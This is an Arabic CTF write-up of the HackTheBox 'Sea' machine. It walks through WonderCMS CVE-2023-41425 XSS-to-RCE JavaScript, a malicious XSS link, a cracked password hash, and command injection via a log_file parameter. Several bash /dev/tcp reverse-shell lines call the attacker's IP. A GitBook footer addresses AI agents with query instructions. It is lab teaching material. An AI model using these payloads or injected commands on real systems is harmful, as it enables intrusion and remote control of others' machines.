> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# تقرير Sea على HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**المهارات**:

* استغلال Wonder CMS
* ثغرة CSRF
* (من XSS إلى RCE)
* إعادة توجيه المنافذ
* ثغرة تسميم السجلات (LFI - RCE)
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/39ecc5fc89fa3a4117664761cfe69e7838dc70bb" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/fb581affafd5464e94ca87c907da617cc6ae3667" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="/files/51b838b9f6364f85cbc5a52590da91ef74609f26" alt="" width="563"><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

<figure><img src="/files/2ad17bcdb5a69ccbe5c3f90cca0801f7463d6723" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="/files/b246f2612c6c84c5f41fbfda1eba121454828457" alt=""><figcaption></figcaption></figure>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/c2ce0de9a2d3d7a1b924d631e4249b90ec5e39ed" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/75ad8375525b98694e34006b32176daa7f90a434" alt=""><figcaption></figcaption></figure>

**اكتشاف موقع جهات الاتصال:**

<figure><img src="/files/5ce29cd12579d91224e88042e17fee5752a64da4" alt=""><figcaption></figcaption></figure>

**التحقق من الاتصالات بين الخادم والموقع:** / وجدنا جزءًا من الموقع مخصصًا لجهات الاتصال. نتحقق مما إذا كان الخادم يرسل إطارات إلى هذا الموقع.

<figure><img src="/files/3df9d7978f65a761e65dc8e694eb823d978bf556" alt=""><figcaption></figcaption></figure>

**استقبال إطار على خادم الويب الخاص بنا:** / لالتقاط هذا الإطار، أنشأنا خادم HTTP بسيطًا باستخدام Python:

```bash
python3 -m http.server 555
```

<figure><img src="/files/1d3e69bcd4950c5866be84fc59b1d1648a623c00" alt=""><figcaption></figcaption></figure>

**اعتراض الطلب باستخدام** [بورب سويت ](/ar/hacking-tools/web/burpsuite.md)**:** / نعترض الطلب باستخدام Burp Suite لتحليل الاتصالات.

## **محتمل** [**SSRF**](/ar/web/ssrf.md)**:**

#### نحاول سرد الخدمات الداخلية باستخدام هجوم SSRF، عبر تعديل معلمة الاستعلام:

```bash
&website=http:127.0.0.1
```

<figure><img src="/files/10fd946f818b8e1d64dd4a18d51afe30d6e1b938" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ الداخلية باستخدام Intruder:** / نستخدم Burp Suite Intruder لتنفيذ هجوم brute force واكتشاف المنافذ الداخلية المفتوحة.

<figure><img src="/files/0c23e60d8a1de666596865ccff8a1fcf1a9acf3e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/bdc90a2473c1ce21f6363340540c89bb928d2828" alt=""><figcaption></figcaption></figure>

**تصفية الاستجابات:** / نقوم بتصفية الاستجابات بناءً على حجمها لتحديد أيّها ذو صلة، لكن جميعها متشابهة.

<figure><img src="/files/370ffbdca800b8938db9c1eacab205f835faa98f" alt=""><figcaption></figcaption></figure>

## ثغرة WonderCMS ([CSRF](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (من XSS إلى RCE) <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**البحث عن الأدلة:** / نستخدم Gobuster للبحث عن الأدلة على الموقع:

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

هذا يعيد لنا **/themes** مجلدًا مع رمز إعادة توجيه 301.

<figure><img src="/files/5a8ca3dcd1c1fe9201b79cfb0afc9fc16091d17c" alt=""><figcaption></figcaption></figure>

**استكشاف مجلد themes:** / نواصل البحث بإضافة المسار المكتشف إلى الرابط واستكشاف **/themes** الدليل

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

نعثر على **/bike** المجلد الفرعي.

<figure><img src="/files/558e9f557b7cc80e2b009c1dab009bc041df7202" alt=""><figcaption></figcaption></figure>

**التصفية حسب امتدادات الملفات:** / نستخدم *ffuf* لتصفية الملفات ذات امتدادات معينة (php، html، png، إلخ.) في **/bike** الدليل:

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

يسمح لنا هذا الأمر بالعثور على ملف باسم **README.md**

<figure><img src="/files/c8b975eb0bc9dc8115dc99a01488b678a1013ce8" alt=""><figcaption></figcaption></figure>

وجدنا `README.md` الذي يشير إلى أن الخادم يستخدم سمة تُدعى "WONDER"، وهي نظام إدارة محتوى.

<figure><img src="/files/e9946867a37b15e54153a32081f0e8c9a2661fd8" alt=""><figcaption></figcaption></figure>

أثناء البحث عن ثغرات مرتبطة بهذا النظام، اكتشفنا خللًا يسمح بتنفيذ أوامر عن بُعد (RCE) عبر حقن XSS.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**كود JavaScript للحصول على شِل:** / يقوم كود JavaScript التالي بتنزيل ملف ZIP خبيث يحتوي على سكربت reverse shell ثم ينفذه على الخادم:

```javascript
// الخادم لديه مشكلة في حل اسم النطاق باستخدام JavaScript
// يمكننا ببساطة توفير رابط الهدف كمعلمة مطلوبة
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// تعديل مسار ملف ZIP المستضاف على خادم HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // زيارة rev.php داخل ملف ZIP المرفوع
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // تشغيل سكربت reverse shell وتحديد عنوان IP والمنفذ للمستمع
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**تثبيت سكربت الاستغلال للثغرة (CVE-2023-41425):**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

نشغّل سكربت الاستغلال:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

السكربت أعلاه يرسل طلبًا إلى خادمنا على المنفذ 8000 عبر `xss.js` ملف، مما يمنحنا وصول RCE والتحكم في الجهاز الهدف.

<figure><img src="/files/7c4d4c91379088abc9f2bf0fb7178bd10838f91f" alt=""><figcaption></figcaption></figure>

**الخطوة الأخيرة:**

نحتاج إلى إرسال رابط XSS إلى المسؤول عبر `contact.php` النموذج لخداعه والنقر على الرابط الخبيث:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/9447cb9e5e8fe34d476d9ee498382ff262dc314f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e0d0568b6e5bd683cedb42b12b2bfb634ad9eaa7" alt=""><figcaption></figcaption></figure>

**الاستماع باستخدام Netcat:** / نستمع على المنفذ 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/a91f28b9c117470297491b4a81fd4d5c281caa68" alt=""><figcaption></figcaption></figure>

#### بمجرد حصولك على وصول إلى خادم Linux، استخدم الأوامر التالية لتثبيت الطرفية <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### ثبّت الغلاف لتعمل براحة أكبر. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## تصعيد الامتيازات:

بصفتنا المستخدم *www-data*، سنقوم بتصفية المحتوى باستخدام `find` الأمر للبحث فقط عن الملفات التي تحتوي على الكلمة "**كلمة المرور**" في دليل خادم الويب `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

نعثر على كلمة مرور مشفّرة في `database.js` الملف:

`$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

<figure><img src="/files/7a1c5b89090660a24259bf67a0597f9fad0b15ba" alt=""><figcaption></figcaption></figure>

لفك تشفير هذه الكلمة المرور، نستخدم **John the Ripper** الأداة مع `rockyou.txt` ملف القاموس:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/27acd4a20b064f76c75ce46e4efd52af16cb9769" alt=""><figcaption></figcaption></figure>

كلمة المرور المفككة هي mychemicalromance

سنحاول الآن الاتصال بالمستخدمين المتاحين في النظام: "geo" و "amays".

<figure><img src="/files/8d2f0c8e1dfef4075d060549f5c03b359ffbbfd4" alt=""><figcaption></figcaption></figure>

كلمة المرور للمستخدم **amays** صحيحة.

### الراية user.txt

<figure><img src="/files/8206a657afda8b08f50e613f1a15071d633f4ab4" alt="" width="563"><figcaption></figcaption></figure>

بفحص اتصالات الشبكة الداخلية، وجدنا أن المنفذ 8080 قيد الاستخدام:

```bash
netstat -ano
netstat -nltp
```

<figure><img src="/files/8e7bb662c90311272517ce3f1c7153bc59a38845" alt=""><figcaption></figcaption></figure>

لذلك سنحوّل منفذ الخادم 8080 إلى جهاز الهجوم الخاص بنا عبر SSH باستخدام تحويل المنافذ، من المنفذ 8888:

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

بعد الاتصال، نجد لوحة تسجيل دخول.

<figure><img src="/files/bfe3f24a39b38e5553ca117851b5c1c291dea16b" alt=""><figcaption></figcaption></figure>

مع بيانات اعتماد المستخدم `amay`: `mychemicalromance`، نتمكن من الاتصال بنظام مراقبة.

<figure><img src="/files/df2633f05c245d2371b6bbce7502d843b93cf6d3" alt=""><figcaption></figcaption></figure>

يمكننا مراقبة سجلات الاتصال الخاصة بـ `root`.

<figure><img src="/files/bc4e2edd5a919b06a34992852f976cc61f011b9e" alt=""><figcaption></figcaption></figure>

من خلال اعتراض الطلب باستخدام Burp Suite، نلاحظ أنه يعرض محتويات `/var/log/apache2/access.log` الملف بطريقة أكثر تنظيمًا.

<figure><img src="/files/7dd1215b0b729649e38f374bfcaa9f4018114f43" alt=""><figcaption></figcaption></figure>

لا يمكن فتح هذا الملف إلا بواسطة المستخدم `root`.

<figure><img src="/files/34dd377cb2de8d3f1bca25f078630d78736e4cae" alt=""><figcaption></figcaption></figure>

### ثغرة [(LFI - RCE) تسميم السجلات](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

إذا حاولنا سرد ملف مثل `/etc/passwd`، على سبيل المثال:

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

تم سرد الملف :)

<figure><img src="/files/ee75775dbe928cdc44f9d95782de2b1754da7fba" alt=""><figcaption></figcaption></figure>

سنحاول بعد ذلك قراءة الملف الذي يحتوي على `root` العلم ونلاحظ أنه من الممكن تنفيذ أوامر (مثل `المعرّف`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="/files/02ffc846311e9c1fc108ee55df0c6e51a6c8de67" alt=""><figcaption></figcaption></figure>

### **الوصول الكامل (reverse shell):**

للحصول على reverse shell، ننفذ الأمر التالي:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

ثم نستمع باستخدام `nc`:

```bash
nc -nvlp 443
```

### فلاغ الجذر :)

<figure><img src="/files/c9cfb1e2875577c6492c4c49fbd870d03632a756" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0c644ab6d34fa196a75867aa60707bd525d0025c" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
